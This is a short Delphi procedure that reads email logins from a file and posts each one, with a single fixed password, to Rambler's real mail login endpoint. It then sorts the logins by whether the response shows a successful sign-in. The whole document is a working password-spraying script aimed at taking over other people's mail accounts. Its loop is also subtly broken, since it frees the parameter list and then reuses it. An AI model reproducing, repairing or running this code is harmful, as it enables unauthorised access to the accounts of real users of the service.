procedure TForm1.Button1Click(Sender: TObject);
var
params : tstringlist;
login,mail,s:string;
f:TextFile;

begin
login:='1aydar1992';
params := TStringList.Create;
AssignFile(f,'bazamail.txt');
reset(f);
while not eof(f) do
begin
readln(f,login);
try
params.Add('back=http://mail.rambler.ru/mail/startpage');
params.Add('login='+login);
params.Add('domain=rambler.ru');
params.Add('passw=12345sdfsdfq');
memo1.Text := IdHTTP1.Post('http://id.rambler.ru/script/auth.cgi',params);
finally
if Pos('logout',memo1.Text)>0 then
memo2.text:=login else memo3.text:=login;
params.Free;
end;
end;
CloseFile(f);
end;
end.